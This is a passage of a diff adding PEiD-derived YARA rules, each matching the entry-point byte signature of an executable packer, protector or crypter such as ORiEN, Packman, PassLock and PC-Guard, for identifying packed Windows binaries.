+        $a = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_01431_ORiEN_v2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN v2.11 (DEMO)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01432_ORiEN_v2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN v2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01433_ORiEN_V2_12____Fisun_A_V__
+{
+    meta:
+        description = "[ORiEN V2.12 -> Fisun A.V.]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CD 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01434_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a
+}
+
+rule PEiD_01435_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a
+}
+
+rule PEiD_01436_Packanoid____Arkanoid_
+{
+    meta:
+        description = "[Packanoid -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+    condition:
+        $a
+}
+
+rule PEiD_01437_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01438_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C}
+    condition:
+        $a
+}
+
+rule PEiD_01439_Packanoid_v1____Arkanoid_
+{
+    meta:
+        description = "[Packanoid v1 -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+    condition:
+        $a
+}
+
+rule PEiD_01440_Packed_with__PKLITE_v1_50_with_CRC_check__1__
+{
+    meta:
+        description = "[Packed with? PKLITE v1.50 with CRC check (1)]"
+        ep_only = "true"
+    strings:
+        $a = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+rule PEiD_01441_PackItBitch_1_0____archphase_
+{
+    meta:
+        description = "[PackItBitch 1.0 -> archphase]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01442_PackItBitch_V1_0___archphase___Sign_by_fly_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01443_PackItBitch_V1_0___archphase_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01444_Packman_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01445_Packman_0_0_0_1____Bubbasoft__h__
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 00 ?? ?? B8 00 ?? ?? 00 0B C0 74 34 03 C3 EB 2A 8D 70 08 03 40 04 33 ED 33 D2 66 8B 2E 66 0F A4 EA 04 80 FA 03 75 0D 81 E5 FF 0F 00 00 03 EF 03 EB 01 4D 00 46 46 3B F0 75 DC 8B 38 85 FF 75 D0 61 E9 ?? FE FF FF 02 D2 75 05 8A 16 46 12 D2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01446_Packman_0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+    condition:
+        $a
+}
+
+rule PEiD_01447_Packman_Executable_Image_Packer_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman Executable Image Packer 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01448_Packman_V0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman V0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+    condition:
+        $a
+}
+
+rule PEiD_01449_Packman_V1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman V1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+    condition:
+        $a
+}
+
+rule PEiD_01450_Packman_v1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman v1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01451_PACKWIN_v1_01p_
+{
+    meta:
+        description = "[PACKWIN v1.01p]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01452_PAK_SFX_Archive_
+{
+    meta:
+        description = "[PAK-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01453_PassEXE_v2_0_
+{
+    meta:
+        description = "[PassEXE v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+    condition:
+        $a
+}
+
+rule PEiD_01454_PassLock_2000_1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+    condition:
+        $a
+}
+
+rule PEiD_01455_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+    condition:
+        $a
+}
+
+rule PEiD_01456_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53}
+    condition:
+        $a
+}
+
+rule PEiD_01457_Password_Protector__c__MiniSoft_1992_
+{
+    meta:
+        description = "[Password Protector (c) MiniSoft 1992]"
+        ep_only = "true"
+    strings:
+        $a = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+    condition:
+        $a
+}
+rule PEiD_01458_Password_Protector_for_the_UPX_0_30____g0d_
+{
+    meta:
+        description = "[Password Protector for the UPX 0.30 -> g0d]"
+        ep_only = "true"
+    strings:
+        $a = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01459_Password_protector_my_SMT_
+{
+    meta:
+        description = "[Password protector my SMT]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+    condition:
+        $a
+}
+
+rule PEiD_01460_Patch_Creation_Wizard_1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+
+rule PEiD_01461_Patch_Creation_Wizard_1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01}
+    condition:
+        $a
+}
+
+rule PEiD_01462_Patch_Creation_Wizard_1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard 1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75}
+    condition:
+        $a
+}
+
+rule PEiD_01463_Patch_Creation_Wizard_v1_2_Byte_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Byte Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 1D 03 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 14 03 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 05 03 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 F6 02 00 00 6A 00 FF 75 08 E8 C8 02 00 00 A3 B4 33 40 00 C7 05 BC 33 40 00 2C 00 00 00 C7 05 C0 33 40 00 10 00 00 00 C7 05 C4 33 40 00 00 08 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 97 02 00 00 C7 05 C4 33 40 00 00 00 00 00 C7 05 E0 33 40 00 00 30 40 00 C7 05 E4 33 40 00 01 00 00 00 68 BC 33 40 00 6A 01 6A FF FF 35 B4 33 40 00 E8 65 02 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01464_Patch_Creation_Wizard_v1_2_Memory_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Memory Patch]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01 00 00 FF 35 5A 31 40 00 E8 22 02 00 00 FF 35 5E 31 40 00 E8 53 02 00 00 6A 00 E8 22 02 00 00 6A 10 68 F7 30 40 00 68 FE 30 40 00 6A 00 E8 63 02 00 00 6A 00 E8 08 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 75 6B 6A 01 FF 35 7A 33 40 00 E8 38 02 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 34 02 00 00 68 00 30 40 00 6A 65 FF 75 08 E8 2B 02 00 00 68 51 30 40 00 6A 67 FF 75 08 E8 1C 02 00 00 68 A2 30 40 00 6A 66 FF 75 08 E8 0D 02 00 00 8B 45 08 A3 7E 33 40 00 68 3B 11 40 00 68 E8 03 00 00 68 9A 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01465_Patch_Creation_Wizard_v1_2_Seek_and_Destroy_Patch_
+{
+    meta:
+        description = "[Patch Creation Wizard v1.2 Seek and Destroy Patch]"
+        ep_only = "false"
+    strings:
+        $a = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 63 05 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 5A 05 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 4B 05 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 3C 05 00 00 6A 00 FF 75 08 E8 0E 05 00 00 A3 CA 39 40 00 C7 05 D2 39 40 00 2C 00 00 00 C7 05 D6 39 40 00 10 00 00 00 C7 05 DA 39 40 00 00 08 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 DD 04 00 00 C7 05 DA 39 40 00 00 00 00 00 C7 05 F6 39 40 00 00 30 40 00 C7 05 FA 39 40 00 01 00 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 AB 04 00 00 EB 5F EB 54}
+    condition:
+        $a
+}
+
+rule PEiD_01466_PAV_Cryptor__Pawning_AntiVirus_Cryptor_____masha_dev_
+{
+    meta:
+        description = "[PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev]"
+        ep_only = "false"
+    strings:
+        $a = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01467_PC_Guard_for_Win32_5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+rule PEiD_01468_PC_Guard_for_Win32_v5_00____SofPro_Blagoje_Ceklic__h__
+{
+    meta:
+        description = "[PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01469_PC_PE_Encryptor_Alpha_preview_
+{
+    meta:
+        description = "[PC PE Encryptor Alpha preview]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01470_PC_Shrinker_v0_20_
+{
+    meta:
+        description = "[PC Shrinker v0.20]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_01471_PC_Shrinker_v0_29_
+{
+    meta:
+        description = "[PC Shrinker v0.29]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+    condition:
+        $a
+}
+
+rule PEiD_01472_PC_Shrinker_v0_45_
+{
+    meta:
+        description = "[PC Shrinker v0.45]"
+        ep_only = "true"
+    strings:
+        $a = {?? BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+    condition:
+        $a
+}
+
+rule PEiD_01473_PC_Shrinker_v0_71_
+{
+    meta:
+        description = "[PC Shrinker v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_01474_PC_Guard_5_00d_
+{
+    meta:
+        description = "[PC-Guard 5.00d]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01475_PC_Guard_v3_03d__v3_05d_
+{
+    meta:
+        description = "[PC-Guard v3.03d, v3.05d]"
+        ep_only = "true"
+    strings:
+        $a = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01476_PC_Guard_v4_05d__v4_10d__v4_15d_
+{
+    meta:
+        description = "[PC-Guard v4.05d, v4.10d, v4.15d]"
+        ep_only = "true"
+    strings:
